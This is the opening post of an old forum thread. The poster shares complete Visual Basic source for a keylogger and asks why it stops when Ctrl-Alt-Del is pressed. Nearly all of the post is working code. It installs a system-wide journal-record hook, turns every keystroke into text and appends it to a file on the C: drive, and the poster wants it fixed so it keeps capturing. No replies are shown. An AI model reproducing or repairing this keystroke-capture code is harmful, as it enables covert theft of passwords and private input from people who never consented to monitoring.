Results 1 to 17 of 17

Thread: keylog problems....Serge, Hack, Stanich, SeaHag...I need the big boys on this one

Threaded View

  1. #1

    Thread Starter
    Hyperactive Member
    Join Date
    Oct 2001
    Posts
    256

    keylog problems....Serge, Hack, Stanich, SeaHag...I need the big boys on this one

    This keylogger works fine until ctrl-alt-del is pressed. Then it stops.

    If someone could pinpoint the lines that are causing the problem I would be most appreciative.



    In a command button:
    VB Code:
    1. Keylogger


    In a module:
    VB Code:
    1. Private Type EVENTMSG
    2.         message As Long
    3.         paramL As Long
    4.         paramH As Long
    5.         time As Long
    6.         hwnd As Long
    7. End Type
    8.  
    9. Private Type POINTAPI
    10.         x As Long
    11.         y As Long
    12. End Type
    13.  
    14. Private Type MSG
    15.     hwnd As Long
    16.     message As Long
    17.     wParam As Long
    18.     lParam As Long
    19.     time As Long
    20.     pt As POINTAPI
    21. End Type
    22.  
    23. Private Type CWPSTRUCT
    24.         lParam As Long
    25.         wParam As Long
    26.         message As Long
    27.         hwnd As Long
    28. End Type
    29.  
    30. Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal length As Long)
    31.  
    32. Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
    33. Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
    34. Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
    35. Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
    36. Private Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long
    37. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    38.  
    39. Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
    40.  
    41. Private Const WH_JOURNALRECORD = 0
    42. Private Const WH_GETMESSAGE = 3
    43. Private Const WH_CALLWNDPROC = 4
    44.  
    45. Private Const WM_CANCELJOURNAL = &H4B
    46. Private Const WM_KEYDOWN = &H100
    47. Private Const WM_KEYUP = &H101
    48.  
    49. Private Const VK_CANCEL = &H3
    50.  
    51. Private lHookID As Long
    52. Private lAppHookID As Long
    53.  
    54. Private sFile As String
    55. Public existing, password
    56.  
    57.  
    58.  
    59. Sub Keylogger()
    60.  
    61. On Error Resume Next
    62.  
    63.     'Only start one instance of this app
    64.     If App.PrevInstance Then Exit Sub
    65.    
    66.     'Allow the user to pass a File name/path to the App which will be used to store the keys
    67.     sFile = Command
    68.     If Len(sFile) = 0 Then sFile = "C:\Latest.txt"
    69.    
    70.    
    71.     If Len(Dir(sFile)) Then Kill$ sFile
    72.    
    73.     'Set an application hook to monitor for messages sent to this app
    74.     lAppHookID = SetWindowsHookEx(WH_GETMESSAGE, AddressOf GetMessageProc, App.hInstance, App.ThreadID)
    75.     'Set a system hook to monitor certain messages sent to other applications in the o/s.
    76.     lHookID = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf JournalRecordProc, 0&, 0&)
    77.     'Wait whilst the hook is in place and the user hasn't canceled the operation. (CTRL + BREAK)
    78.     While lHookID And GetAsyncKeyState(VK_CANCEL) = 0
    79.         DoEvents
    80.     Wend
    81.     'Remove the System hook if necessary
    82.     If lHookID Then Call UnhookWindowsHookEx(lHookID)
    83.     'Remove the application hook
    84.     Call UnhookWindowsHookEx(lAppHookID)
    85.  
    86.    End Sub
    87.  
    88.  
    89.  
    90. Function GetMessageProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    91.     Dim tMSG As MSG
    92.    
    93.     If Code < 0 Then
    94.         'Pass the message along...
    95.         GetMessageProc = CallNextHookEx(lAppHookID, Code, wParam, ByVal lParam)
    96.     Else
    97.         'Grab the MSG structure
    98.         CopyMemory tMSG, ByVal lParam, Len(tMSG)
    99.         Select Case tMSG.message
    100.        
    101.         Case WM_CANCELJOURNAL
    102.             'An external process has requested us to stop this operation
    103.             Call UnhookWindowsHookEx(lHookID)
    104.             lHookID = 0
    105.    
    106.         Case WM_KEYDOWN, WM_KEYUP
    107.             If tMSG.wParam = VK_CANCEL Then
    108.                 'The user has canceled the operation (CTRL + BREAK)
    109.                 Call UnhookWindowsHookEx(lHookID)
    110.                 lHookID = 0
    111.             End If
    112.  
    113.         End Select
    114.     End If
    115. End Function
    116.  
    117.  
    118.  
    119. Function JournalRecordProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    120.     Dim tEVENTMSG As EVENTMSG
    121.     Dim bKeys(255) As Byte
    122.     Dim lAscII As Long
    123.     Dim iFile As Integer
    124.    
    125.     If Code < 0 Then
    126.         'Pass this message along...
    127.         JournalRecordProc = CallNextHookEx(lHookID, Code, wParam, ByVal lParam)
    128.     Else
    129.         'Grab the Event Message Structure
    130.         CopyMemory tEVENTMSG, ByVal lParam, Len(tEVENTMSG)
    131.        
    132.         Select Case tEVENTMSG.message
    133.        
    134.         Case WM_KEYDOWN
    135.             'Track Keypresses....
    136.             'Get the current state of the Keyboard (used to determine special keys)
    137.             Call GetKeyboardState(bKeys(0))
    138.             'Convert the KeyCode to its appropriate "Case Sensitive" AscII equivelant
    139.             Call ToAscii(tEVENTMSG.paramL, 0&, bKeys(0), lAscII, 0&)
    140.             'If it's avalid ASCII value, Log it.
    141.             If lAscII Then
    142.                 'Debug.Print Chr(lAscII);
    143.                 iFile = FreeFile
    144.                 Open sFile For Append As iFile
    145.                
    146.                 'if enter is pressed then a new line is saved
    147.                 If lAscII = 13 Then
    148.                 Print #iFile, Chr(lAscII)
    149.                 Else
    150.                 'if enter is not pressed then there is no new line
    151.                 Print #iFile, Chr(lAscII);
    152.                 End If
    153.                 Close iFile
    154.                
    155.             End If
    156.                 End Select
    157.    
    158.    
    159.    
    160.     End If
    161.    
    162.  
    163. End Function
    Last edited by ejy; Jun 27th, 2002 at 08:35 AM.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width